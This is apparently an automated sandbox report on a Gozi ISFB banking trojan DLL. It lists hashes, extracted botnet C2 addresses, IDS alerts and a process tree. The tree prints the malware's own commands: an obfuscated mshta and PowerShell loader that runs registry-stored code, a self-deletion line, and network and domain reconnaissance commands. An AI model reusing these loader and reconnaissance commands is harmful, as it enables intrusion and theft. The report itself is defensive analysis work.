gozi_ifsb | 246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8

Analysis

max time kernel
150s
max time network
137s
platform
windows10_x64
resource
win10-20220414-en
submitted
22/04/2022, 16:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8.dll
Size 626KB
Sample220422-trcxaaabgl
SHA256 246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8
MD5 cf9ad20f6eeb86a93d1bd8f40024a438
SHA1 3dad5a86a774bb9c0398cc1e31361559e88d4bde
SHA512 c3c8ed68d4c6d3aa3d663410e2cb5ed20af4c6b4ab6c4858b030ae0a2538373f5cf64cfbad36c8398d08d40654084ccbc0c41c55bf4a9d2ded6e75cdcd58b8de
MD5 SHA1 SHA512

Score

10^/10

gozi_ifsb 999 banker suricata trojan

Malware Config

Extracted

Family

gozi_ifsb

Botnet

config.edge.skype.com
146.70.35.138
146.70.35.142

Attributes

base_path
/phpadmin/
build
250227
exe_type
loader
extension
.src
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi_ifsb

Botnet

config.edge.skype.com
67.43.234.14
67.43.234.37
67.43.234.47

Attributes

base_path
/images/
exe_type
worker
extension
.src
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
suricata: ET MALWARE Ursnif Payload Request (cook32.rar)
suricata: ET MALWARE Ursnif Payload Request (cook32.rar)
suricata
suricata: ET MALWARE Ursnif Payload Request (cook64.rar)
suricata: ET MALWARE Ursnif Payload Request (cook64.rar)
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2164	rundll32.exe
8	2164	rundll32.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4368 set thread context of 2060	4368	powershell.exe	53
PID 2060 set thread context of 5116	2060	Explorer.EXE	76
PID 2060 set thread context of 3492	2060	Explorer.EXE	56
PID 5116 set thread context of 5024	5116	cmd.exe	78
PID 2060 set thread context of 3980	2060	Explorer.EXE	87
PID 2060 set thread context of 3992	2060	Explorer.EXE	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 3 IoCs

discovery

Remote System Discovery

T1018

pid	Process
4672	net.exe
2356	net.exe
4468	net.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2904	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4612	systeminfo.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5024	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
5024	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2164	rundll32.exe
2164	rundll32.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE
2060	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2060	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4368	powershell.exe
2060	Explorer.EXE
2060	Explorer.EXE
5116	cmd.exe
2060	Explorer.EXE
2060	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeShutdownPrivilege	2060	Explorer.EXE
Token: SeCreatePagefilePrivilege	2060	Explorer.EXE
Token: SeShutdownPrivilege	2060	Explorer.EXE
Token: SeCreatePagefilePrivilege	2060	Explorer.EXE
Token: SeShutdownPrivilege	2060	Explorer.EXE
Token: SeCreatePagefilePrivilege	2060	Explorer.EXE
Token: SeShutdownPrivilege	2060	Explorer.EXE
Token: SeCreatePagefilePrivilege	2060	Explorer.EXE
Token: SeDebugPrivilege	2904	tasklist.exe
Token: SeShutdownPrivilege	2060	Explorer.EXE
Token: SeCreatePagefilePrivilege	2060	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2060	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 2164	2012	rundll32.exe	66
PID 2012 wrote to memory of 2164	2012	rundll32.exe	66
PID 2012 wrote to memory of 2164	2012	rundll32.exe	66
PID 3752 wrote to memory of 4368	3752	mshta.exe	70
PID 3752 wrote to memory of 4368	3752	mshta.exe	70
PID 4368 wrote to memory of 4996	4368	powershell.exe	72
PID 4368 wrote to memory of 4996	4368	powershell.exe	72
PID 4996 wrote to memory of 1328	4996	csc.exe	73
PID 4996 wrote to memory of 1328	4996	csc.exe	73
PID 4368 wrote to memory of 4836	4368	powershell.exe	74
PID 4368 wrote to memory of 4836	4368	powershell.exe	74
PID 4836 wrote to memory of 2020	4836	csc.exe	75
PID 4836 wrote to memory of 2020	4836	csc.exe	75
PID 4368 wrote to memory of 2060	4368	powershell.exe	53
PID 4368 wrote to memory of 2060	4368	powershell.exe	53
PID 4368 wrote to memory of 2060	4368	powershell.exe	53
PID 4368 wrote to memory of 2060	4368	powershell.exe	53
PID 2060 wrote to memory of 5116	2060	Explorer.EXE	76
PID 2060 wrote to memory of 5116	2060	Explorer.EXE	76
PID 2060 wrote to memory of 5116	2060	Explorer.EXE	76
PID 2060 wrote to memory of 3492	2060	Explorer.EXE	56
PID 2060 wrote to memory of 3492	2060	Explorer.EXE	56
PID 2060 wrote to memory of 5116	2060	Explorer.EXE	76
PID 2060 wrote to memory of 5116	2060	Explorer.EXE	76
PID 2060 wrote to memory of 3492	2060	Explorer.EXE	56
PID 2060 wrote to memory of 3492	2060	Explorer.EXE	56
PID 5116 wrote to memory of 5024	5116	cmd.exe	78
PID 5116 wrote to memory of 5024	5116	cmd.exe	78
PID 5116 wrote to memory of 5024	5116	cmd.exe	78
PID 5116 wrote to memory of 5024	5116	cmd.exe	78
PID 5116 wrote to memory of 5024	5116	cmd.exe	78
PID 2060 wrote to memory of 3344	2060	Explorer.EXE	79
PID 2060 wrote to memory of 3344	2060	Explorer.EXE	79
PID 3344 wrote to memory of 4692	3344	cmd.exe	81
PID 3344 wrote to memory of 4692	3344	cmd.exe	81
PID 2060 wrote to memory of 1492	2060	Explorer.EXE	82
PID 2060 wrote to memory of 1492	2060	Explorer.EXE	82
PID 2060 wrote to memory of 4024	2060	Explorer.EXE	84
PID 2060 wrote to memory of 4024	2060	Explorer.EXE	84
PID 4024 wrote to memory of 4612	4024	cmd.exe	86
PID 4024 wrote to memory of 4612	4024	cmd.exe	86
PID 2060 wrote to memory of 3980	2060	Explorer.EXE	87
PID 2060 wrote to memory of 3980	2060	Explorer.EXE	87
PID 2060 wrote to memory of 3980	2060	Explorer.EXE	87
PID 2060 wrote to memory of 3980	2060	Explorer.EXE	87
PID 2060 wrote to memory of 3980	2060	Explorer.EXE	87
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 3992	2060	Explorer.EXE	89
PID 2060 wrote to memory of 640	2060	Explorer.EXE	91
PID 2060 wrote to memory of 640	2060	Explorer.EXE	91
PID 2060 wrote to memory of 384	2060	Explorer.EXE	93
PID 2060 wrote to memory of 384	2060	Explorer.EXE	93
PID 384 wrote to memory of 4468	384	cmd.exe	95
PID 384 wrote to memory of 4468	384	cmd.exe	95
PID 2060 wrote to memory of 3808	2060	Explorer.EXE	96
PID 2060 wrote to memory of 3808	2060	Explorer.EXE	96
PID 2060 wrote to memory of 4288	2060	Explorer.EXE	98
PID 2060 wrote to memory of 4288	2060	Explorer.EXE	98
PID 4288 wrote to memory of 96	4288	cmd.exe	100
PID 4288 wrote to memory of 96	4288	cmd.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8.dll,#1
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    PID:2164
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Slq8='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Slq8).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\65B32BBD-804D-DFE2-B269-B48306AD2867\\\GameVirtual'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name sikxdjcukq -value gp; new-alias -name tyjwtgksi -value iex; tyjwtgksi ([System.Text.Encoding]::ASCII.GetString((sikxdjcukq "HKCU:Software\AppDataLow\Software\Microsoft\65B32BBD-804D-DFE2-B269-B48306AD2867").UrlsUtil))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mfoksjy5\mfoksjy5.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4D16.tmp" "c:\Users\Admin\AppData\Local\Temp\mfoksjy5\CSC76CEE3B9754F319022DE4262EABAE6.TMP"
        5⤵
        
        PID:1328
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgn0fan5\xgn0fan5.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DD2.tmp" "c:\Users\Admin\AppData\Local\Temp\xgn0fan5\CSC860B85DDA6D9485086936C66C873DE5.TMP"
        5⤵
        
        PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\246558c61856da2962370102cb004b60d0ce769a9f6ee68e88a097a28a3b4fa8.dll"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:5024
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\2628.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:4692
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2628.bi1"
  2⤵
  PID:1492
- C:\Windows\system32\cmd.exe
  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\systeminfo.exe
    systeminfo.exe
    3⤵
    - Gathers system information
    PID:4612
- C:\Program Files\Windows Mail\WinMail.exe
  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
  2⤵
  PID:3980
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:3992
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:640
- C:\Windows\system32\cmd.exe
  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:4468
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:3808
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\system32\nslookup.exe
    nslookup 127.0.0.1
    3⤵
    PID:96
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:3508
- C:\Windows\system32\cmd.exe
  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2240
- - C:\Windows\system32\tasklist.exe
    tasklist.exe /SVC
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4500
- C:\Windows\system32\cmd.exe
  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2912
- - C:\Windows\system32\driverquery.exe
    driverquery.exe
    3⤵
    PID:2600
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:1464
- C:\Windows\system32\cmd.exe
  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:2452
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4356
- C:\Windows\system32\cmd.exe
  cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4552
- - C:\Windows\system32\net.exe
    net config workstation
    3⤵
    PID:4520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 config workstation
      4⤵
      PID:4824
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4548
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:5008
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts
    3⤵
    PID:1328
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4852
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2044
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts /all_trusts
    3⤵
    PID:4960
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:300
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2132
- - C:\Windows\system32\net.exe
    net view /all /domain
    3⤵
    - Discovers systems in the same network
    PID:4672
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4332
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:3292
- - C:\Windows\system32\net.exe
    net view /all
    3⤵
    - Discovers systems in the same network
    PID:2356
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:2412
- C:\Windows\system32\cmd.exe
  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\ECA8.bin1 > C:\Users\Admin\AppData\Local\Temp\ECA8.bin & del C:\Users\Admin\AppData\Local\Temp\ECA8.bin1"
  2⤵
  PID:4732

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2628.bi1

Path C:\Users\Admin\AppData\Local\Temp\2628.bi1
Size 118B
SHA256 f210a8e30967b13dabe340c45ce4a97e9c94ad74975728eccdd0a27edf29b5fe
MD5 41a49d1a2a3a8713a12ccf89932d4bb7
SHA1 b324e8bbcd4ca71a35d0c00ac63c0255e8ec4287
SHA512 1fc256f2068eb9ac32c04bad119e94ba006808fd2be48db397eecf69acd6d8972334f81f8439d6e153a9cb99db618a613f3b0adf2b5784c264b61d4d5c0669b1
MD5 SHA1 SHA512

Submit Download

2628.bi1

Path C:\Users\Admin\AppData\Local\Temp\2628.bi1
Size 118B
SHA256 f210a8e30967b13dabe340c45ce4a97e9c94ad74975728eccdd0a27edf29b5fe
MD5 41a49d1a2a3a8713a12ccf89932d4bb7
SHA1 b324e8bbcd4ca71a35d0c00ac63c0255e8ec4287
SHA512 1fc256f2068eb9ac32c04bad119e94ba006808fd2be48db397eecf69acd6d8972334f81f8439d6e153a9cb99db618a613f3b0adf2b5784c264b61d4d5c0669b1
MD5 SHA1 SHA512

Submit Download

ECA8.bin

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin
Size 61KB
SHA256 4d93af343b85157318ca8b725fdec4ff45d4c66d769c171dba0ed1a37c960e93
MD5 28c3b10210d6b9e4e14c4eba501b5072
SHA1 2ece5cd2c466c2ad3cd7eb03643fe5f6f687e09b
SHA512 8daa5a9967432b515d13d96310991362f4b835c262cf4e74c467e5688a4fb6c05ad19c71af900d049cf1c28a77b32e7ba7b75fb91574a78c16f76a3a9697423d
SSDEEP 1536:IH/ga8TES+QtZZtTaPdRErwdMPygQH8oGls6p38MfHi6+kWS8q748aGcoiGtsPCV:IX2Bc8cE
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 17d4e6086861a1bb6aa8700c3918eb928bced6d9d2b818c91f138b3f63c0fe6d
MD5 287caeb512ec233353f4d19316507d03
SHA1 fb57e055262b71e68333f41b9f34e9a830e8d01f
SHA512 ca1e728ebd891de48e0d3b788312dea183f91f3b12b88e3ec801c704d38ba83c1b06cede76bdfcdee69fbf8e75e7534721ad2b7d1e46aea52e12fd22c268f25a
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 904f25ecbfbb35ea41d2ac6ecb7561ac30673d8da5b29ab3be6dac1f9b5c9bc2
MD5 860b020f87503fac3997dc0968995f79
SHA1 ea2122e1bd2b66b5394daf536e563181a82b431c
SHA512 567fddeef70331db9517bc28c819c8a70bad5c32c3133aaf2eb4cb22d439bee3569272d9c186496329a6234c4f9a2259ac3dc7b2a7b79a0413fdeb340946ad4b
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 a8a18ecde0bc6b9b3e2f9d41e0860db9a37fb516e6e8581d8c24c14afd45f36f
MD5 bf503586bacd46d38b0992015f0f2ce6
SHA1 7b0e3754bbc90c57da155c5454f7cee692cdb70c
SHA512 af7d5d0c6ebfaa55934d8cf46b585f9dfac8cf101fbc87ebfc764610ffe2040e756511ef84443ac4360ecea1481622d63e514e0658f76cf2729f0adbae24b295
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 e51fd7adc41446c68ac950550bf33d6be56fdb996c0e3830261e6499802978f8
MD5 bd7a2a0686e3108eefc4a21223fc21d4
SHA1 c99c9946d4ecdea1388724e0b12858aa24a57407
SHA512 a714e08cc9948a473383582e67a9b460b1eb19eae5a5e725bc00d0afc3f1059fcadb520062e7fa647c51f65da5337266c6c5e1d83fee258bbf38d772d03538ee
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 4f6a43d7cd5a35aa2f74324eabf4c48971f590c66630ed08c526cb7bcbbf21c1
MD5 ee8ae4b11aa5534824b1024f797f6f1f
SHA1 34031cdab832b92931d4ce7dd40b9394118bbf71
SHA512 626eb03f215d6d9e386b8c27348f19bc6db5e75170bb1822f50ed25ff665f55a6d39acf7cc832de108fa2e47eee67fe0a7ac1b8cd72281a3864a63060dd814fd
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 2KB
SHA256 4f6a43d7cd5a35aa2f74324eabf4c48971f590c66630ed08c526cb7bcbbf21c1
MD5 ee8ae4b11aa5534824b1024f797f6f1f
SHA1 34031cdab832b92931d4ce7dd40b9394118bbf71
SHA512 626eb03f215d6d9e386b8c27348f19bc6db5e75170bb1822f50ed25ff665f55a6d39acf7cc832de108fa2e47eee67fe0a7ac1b8cd72281a3864a63060dd814fd
MD5 SHA1 SHA512

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 8KB
SHA256 b9103ade919948c818d0eff3b2c008659818cb073fc9ae3a7cd495c53cabe8fb
MD5 5a97e50fbb133c784af27f0a9293c6fa
SHA1 7199ea627b61869a025ef30c05ad22c60cac1ba2
SHA512 49fd8ef92fb7894321fd5884224bbae74afd08ff2790d0f57a26d916940ddd135996cc3d1feeb4e32291e8c60d7bff3fddf462881fe7d165346e4e485a0b80c4
SSDEEP 192:vEm6X1oodQa9/ga8TESQxQtZZtTaPdRErwdMPygQH2voGls6p38MfHi6+kWS8q7V:vw1oodl/ga8TES+QtZZtTaPdRErwdMPv
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 8KB
SHA256 b9103ade919948c818d0eff3b2c008659818cb073fc9ae3a7cd495c53cabe8fb
MD5 5a97e50fbb133c784af27f0a9293c6fa
SHA1 7199ea627b61869a025ef30c05ad22c60cac1ba2
SHA512 49fd8ef92fb7894321fd5884224bbae74afd08ff2790d0f57a26d916940ddd135996cc3d1feeb4e32291e8c60d7bff3fddf462881fe7d165346e4e485a0b80c4
SSDEEP 192:vEm6X1oodQa9/ga8TESQxQtZZtTaPdRErwdMPygQH2voGls6p38MfHi6+kWS8q7V:vw1oodl/ga8TES+QtZZtTaPdRErwdMPv
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 31KB
SHA256 5c2928ec92029bc398394b8b4ec068e84314c91d7bcd16552120f916811a4d9d
MD5 1a32698c3c6eb9349c0893936fbb3fa3
SHA1 a2ea5e93052a12e32fb87acc89826e3cc0872f83
SHA512 0b58addb1929113b4a58748ea9007213698ad231f755df126cfaac0c00e17dd88cbb3ab8a8730fdb48475f8c3a054a987087185958fb23508d97c7171f91060b
SSDEEP 768:vw1oodl/ga8TES+QtZZtTaPdRErwdMPygQH8oGls6p38MfHi6+kWS8q748aGcArH:IH/ga8TES+QtZZtTaPdRErwdMPygQH8r
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 60KB
SHA256 f1b2a5bae2f83ffdc9566bb1aaf1c9dda90756babf4e7a1e4fc1b6a5f446ac20
MD5 da0dde2f518bfb4a76f491dae390965a
SHA1 b9078111e18fb3fb1f638f47e83f216364f84b58
SHA512 409a858ac8525aa6d8ebb296bd3a60f1f4109b160f8000cb992e93d43fabe025ddbfeea6b1f6faa5a2b4819d76dd7c740a96d2aa839143041e4e3433689fdf8b
SSDEEP 1536:IH/ga8TES+QtZZtTaPdRErwdMPygQH8oGls6p38MfHi6+kWS8q748aGcoiGtsPC7:IX2Bc8cy
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 60KB
SHA256 991c0a21e00efda654d1ab2435af059924b8b3b112f98d428b360fc2cdc9e348
MD5 4b81c7a9156e6865e8b492037b26ffb3
SHA1 eaa3975f414bf5b65befddf7af3cbc6616451a39
SHA512 8f999d3bfcf5b02fd8df4ac435bdd007c131a12ee5d11f61c075195c9c4667af68964c9ad068134a6c865740fa0b229bc352e72990de4a35ec1a2a47321642ca
SSDEEP 1536:IH/ga8TES+QtZZtTaPdRErwdMPygQH8oGls6p38MfHi6+kWS8q748aGcoiGtsPCo:IX2Bc8cv
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 60KB
SHA256 a09481ee56eb46c58fd840e8549f7e52b3cd53b4563c2e12c491ea1d66fbfcce
MD5 8763dc0eb3a19dcd03088aa617324d1b
SHA1 5953099f2fcc7122ab1d515ffca8aae9aa180224
SHA512 d96885d5cdeae5b1fb0e4d19bc661b823a9e85c4447814527c1923a237d01c92ab68a564dc38a114886679b535c5e17b3c66c437a0cf2233793a1b72f8bba1d9
SSDEEP 1536:IH/ga8TES+QtZZtTaPdRErwdMPygQH8oGls6p38MfHi6+kWS8q748aGcoiGtsPC2:IX2Bc8cV
MD5 SHA1 SHA512 SSDEEP

Submit Download

ECA8.bin1

Path C:\Users\Admin\AppData\Local\Temp\ECA8.bin1
Size 60KB
SHA256 a09481ee56eb46c58fd840e8549f7e52b3cd53b4563c2e12c491ea1d66fbfcce
